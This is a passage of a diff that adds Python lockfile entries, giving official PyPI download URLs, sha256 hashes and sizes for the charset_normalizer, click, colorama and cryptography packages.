+ { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" },
+ { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" },
+ { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" },
+ { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" },
+ { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" },
+ { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" },
+ { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" },
+ { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" },
+ { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" },
+ { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" },
+ { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" },
+ { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" },
+ { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" },
+ { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" },
+ { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" },
+ { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" },
+ { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" },
+ { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" },
+]
+
+[[package]]
+name = "click"
+version = "8.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/76/d4/81420972a676e8ffea40450d8c8c92943e7218a78fe9b64359836cc9876b/click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6", size = 338000, upload-time = "2026-06-24T17:45:15.148Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/fb/e2/79c688af8b210d232694e31e59da9f6ec747bae31c3f5946e4e9b98860d5/click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76", size = 119243, upload-time = "2026-06-24T17:45:13.73Z" },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
+]
+
+[[package]]
+name = "cryptography"
+version = "49.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1f/99/d1c90d6041656cc6ee229dc99cd67fd0cd5aec3c5f7d72fffc27cc750054/cryptography-49.0.0.tar.gz", hash = "sha256:f89660a348f4f78a92366240a61404e337586ef7f5909a2fef59ca88ef505493", size = 854345, upload-time = "2026-06-12T20:02:30.512Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/9b/22/adf66990e63584a68dfb50c24f48a125c07b1699899381c8151e63ed458c/cryptography-49.0.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:966fe0e9c67490071f14c0d2b1cb2dfb3023c5ce39457343931415f08382f2db", size = 4032100, upload-time = "2026-06-12T20:02:32.143Z" },
+ { url = "https://files.pythonhosted.org/packages/09/41/3797cfaf69cae04a13ee78ebd83f0678d9c02b4779d21ce24445326f1a69/cryptography-49.0.0-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:36d1709f992593689b45bda411498d62c6e365f2ca00b84657d4dadd24de16db", size = 4692978, upload-time = "2026-06-12T20:01:21.305Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/8b/43011f7ebe515a8aa20d61f290a326cd890c2e738e16e59eaff8d9c3a412/cryptography-49.0.0-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0e959b578856a3924bc0cbb710fc12c387b9412a951389f3ca61704a9e25f325", size = 4716422, upload-time = "2026-06-12T20:01:48.566Z" },
+ { url = "https://files.pythonhosted.org/packages/4a/91/01ce7303a4579e6d3a6abef01bd322848e9ea7a219adcabc5048b9033571/cryptography-49.0.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:53ecee2e23f7169b6117e99fc8a944e5e50f79e69758a83b52a00cb98ab2b2d2", size = 4700503, upload-time = "2026-06-12T20:02:47.091Z" },
+ { url = "https://files.pythonhosted.org/packages/62/99/a2c95cf8293f07491e9e27c20cc4dcd18176d944e674679adeb1d0173fd6/cryptography-49.0.0-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:2eda353d8a27bcbcaa4cbed18994a74ab4d19a2ca897db188ea269ab9b71419b", size = 5309779, upload-time = "2026-06-12T20:02:08.987Z" },
+ { url = "https://files.pythonhosted.org/packages/20/2c/0622f20ff02b2ef32558733443805dc82fd4c275be01b2d19d14676f3a1b/cryptography-49.0.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2afe9051da7ae7bd5905da5a949280c7d2bb75682e188f650a9d0f2756b834c6", size = 4749683, upload-time = "2026-06-12T20:02:03.335Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/5b/c5246635d5fd3b64e0d45ae10e99fd32fe9676a79915ccfe5a61ba9af1a5/cryptography-49.0.0-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:0b82e28ee398a386f0807bba7884d30f25218855690f45115831bcce5d90822c", size = 4337874, upload-time = "2026-06-12T20:02:54.323Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/88/05563c7fe2e914e87d1a536d06fe83e66b4e1d95cb593e05aea375531da8/cryptography-49.0.0-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:ccac2bfebc306b862133e3bb71f3f6ee8bb525240089b2d952e4144b3a6d5da7", size = 4700283, upload-time = "2026-06-12T20:01:34.822Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/b6/d7696e4e890d6ae1469935164c9e5215c557671cb78d6e3f458ccceaa632/cryptography-49.0.0-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d0527ce944105f257f605a827d6ebead966c752038b6e8656abb9c5edee6fc68", size = 5265844, upload-time = "2026-06-12T20:01:24.09Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/3c/f3ad17eecc1a57b0ba236dc01f90e783c51f4a2f35f64777cc4f47a184b2/cryptography-49.0.0-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:cbc77da8c523d5abd028635ba850a6966fcee2c82e2bf65a41d1d8afe0f98be9", size = 4749290, upload-time = "2026-06-12T20:01:30.848Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/01/339573cf1023163a400b0b5d16f6d507de413b9f60be6fd1b77feeaf6737/cryptography-49.0.0-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:b87e65d263b3e5d3bb92a57e2a6638e2f31110fa7aa890c7b2dbba42248d0a3f", size = 4834612, upload-time = "2026-06-12T20:01:29.246Z" },
+ { url = "https://files.pythonhosted.org/packages/71/fd/577302e213a1be9468f92d1afef66fcf1ef83d516819d9992ca547f592bd/cryptography-49.0.0-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:66ec79c3904820572d7e987abdf304281f141d37ad9a489b8e97066e7b9b6459", size = 4980804, upload-time = "2026-06-12T20:01:42.853Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/09/f42b1d190c5ba75f72062a387f8030d1d75f6ab035788f1d9c4b01de6525/cryptography-49.0.0-cp311-abi3-win_amd64.whl", hash = "sha256:e5dfc1e64de5677cec922ffa8da89c546d0415bf6efdf081842e5d44c84e1f0e", size = 3810026, upload-time = "2026-06-12T20:02:39.262Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/9e/db72b3ae7fc9cfad53e630e56c6ae83b9b6ff0bf3718ffb8012d20b3aabf/cryptography-49.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:73a205dce83953d131a4aa1e0fd917a2fd1c5b1eef251e9d7152efefcbf5caf7", size = 4013892, upload-time = "2026-06-12T20:02:10.735Z" },
+ { url = "https://files.pythonhosted.org/packages/86/12/c48a424f38db03027be9f7ed5c7dc5de9933dbee992865f98b13727a009d/cryptography-49.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:196ecd6a36e4e9aa10270393bb98d8df88fccee0bf1e5128b91ae4eb4375896d", size = 4678835, upload-time = "2026-06-12T20:02:48.743Z" },
+ { url = "https://files.pythonhosted.org/packages/68/28/8a3ad4653662c93fc44dc4e5d8fd374c25c42e07b34bbfbadf49cf57a5a8/cryptography-49.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7abcee80084cda3f7691f3eb1ce480d8df49cec637b429aa35986c1de71738aa", size = 4697239, upload-time = "2026-06-12T20:02:56.03Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/b2/2193fc74f81aee4f9b62733133b73b5176718932ed8f2e4b03fa040480a6/cryptography-49.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:4ae387c9cb68ea569ca17e490d66d8142b81c3cc814bf179974b7d146e490bbb", size = 4685593, upload-time = "2026-06-12T20:02:50.666Z" },
+ { url = "https://files.pythonhosted.org/packages/47/f1/1d3eaa243bfc5de4a187b22aa8c048b3e4980bfbe830ac46e6bac2e66947/cryptography-49.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:f37d847238971164fdbc68ade6f6574aecc9c0af714190e2083429ff68f4ce9d", size = 5289961, upload-time = "2026-06-12T20:01:46.468Z" },
+ { url = "https://files.pythonhosted.org/packages/58/39/2d51306721330c486495853eda1c567880ff036de15a14c4b74f399934af/cryptography-49.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:c2bc30226390d60ea19d9f82b19db005fe0452154a23c1c410c12ea801e43561", size = 4731145, upload-time = "2026-06-12T20:02:16.832Z" },
+ { url = "https://files.pythonhosted.org/packages/17/50/983e838c7fd0d87fd8c969bcdd328edaf5f756e38df5281637424c155873/cryptography-49.0.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:07cab27cc7b7e0fd28e5e26bb9eeedde5c135c868b46de4a27845abe94af6122", size = 4321719, upload-time = "2026-06-12T20:02:52.611Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/f5/8f571d7e27c55bce9f76f026143bcb1e040a4233149ecca0bea5fa5dd5f7/cryptography-49.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:b20133d204d2bb56ba047642199603876c872026ca53e79c35b83772ab2cc505", size = 4685209, upload-time = "2026-06-12T20:02:07.282Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/84/0e27016a6fc5a0886f797018b26aa42f40c09a82332bff77822a451deaaa/cryptography-49.0.0-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:b970c6da94d5bb18629db453d14f2a1300f6bf59b61e9b82377931ef95504866", size = 5246285, upload-time = "2026-06-12T20:01:32.439Z" },
+ { url = "https://files.pythonhosted.org/packages/11/2d/5e1fb307cb5931881516b464c98774b3f2c36b5d4bb9a2830253cf553cad/cryptography-49.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:d8ecde755e2e91bf773fc94e8c9d730cd7f2007004cb492263a794ec3899a1c8", size = 4730441, upload-time = "2026-06-12T20:02:01.469Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/c0/bff5a02ee731d207d6a1ed51732549d8c53d2bc8da1d10ec6f2844201d68/cryptography-49.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e3fb64c420688e5319ae25113a354015abbd8dffbfbc41781a1ea66fc7622ac3", size = 4815869, upload-time = "2026-06-12T20:01:36.574Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/26/814681d14248d95d73d5c3eea0c39a94eb8302df966f670a2c60de90974b/cryptography-49.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32703d93296f5c1f4b53349ad3a250c2cae0fdecd3a3dd5d47e616d8d616af27", size = 4960948, upload-time = "2026-06-12T20:02:18.688Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/fe/93ecac273d3738939d023612ad12cca9a3740a5345d69fda04134c43fd96/cryptography-49.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:33cd0565932807baddb67b96dbee92f2c374b5c89dee09fd74079aeb8c8dba61", size = 3799153, upload-time = "2026-06-12T20:01:39.059Z" },
+ { url = "https://files.pythonhosted.org/packages/19/2a/5bb823f5bedcf80718cea7fbc95ec5515cca3769633c4b01a32be7f30e7c/cryptography-49.0.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:ec5e529fb80935c94fe7b729f9972b50e351a0e6b50aa294fd5cabb109fcc29a", size = 4025947, upload-time = "2026-06-12T20:01:25.745Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/df/40577043ca124e17012f408ddddaeb213b856336ac82ddb3bc915f39e29f/cryptography-49.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f78ff2c9ed8dc2d036b0f4d640e22522213d047c1b14e61205a7e55c80a494d4", size = 4692429, upload-time = "2026-06-12T20:01:53.628Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/99/2d13299eb3dd27b02dcfaafcc91d6b5cb3329f7cbd6d8f51921acd566c1a/cryptography-49.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:35b151772baff2c74cba7fa290ceaff4c3b11c0c881eb93eb5dbc05a7cfbba18", size = 4700968, upload-time = "2026-06-12T20:02:45.383Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/4d/9c0cd02f95e2602dd5e563da149ee0830abef3537be8b34dc56281ebe27a/cryptography-49.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0f21641cf4b30fca7aee061ced0ec7ad7b073518088b7c9969a297c0ae796c69", size = 4697758, upload-time = "2026-06-12T20:01:41.13Z" },
+ { url = "https://files.pythonhosted.org/packages/24/01/186c825898477d77e2324d5360fefe622ff1d8d1963ec0554e2cada8ec77/cryptography-49.0.0-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9e82dcc8e56052715fb18b2429e3bca4823b1629136a2084fc45a9a5cecb9b64", size = 5298863, upload-time = "2026-06-12T20:02:24.579Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/7b/62cbbab75d0659865bf0273790031544a0b16c8072d258f9428dcd8190dc/cryptography-49.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6f2debedf9ca60cf1d5bd466475638af5130f89965605cd818484d19987d3a21", size = 4735983, upload-time = "2026-06-12T20:01:50.14Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/72/3e798c064bc39e471008075d0f9bc9daf77a80879c092e4a8e170c585ed4/cryptography-49.0.0-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:8c25ceb16df5b9435f3f6a9829204985b0e0cbee3b48aacd432c7d2c850b44d9", size = 4334173, upload-time = "2026-06-12T20:01:44.743Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/ee/6fca21d1ac73e06f8bef71940abfd4d2f6472b4bca284d770f32bd4086f6/cryptography-49.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:28d8b15e6275f12c8a207dc309dfa957903c927d08d0cc937ee3f63f200693cc", size = 4697298, upload-time = "2026-06-12T20:02:20.918Z" },
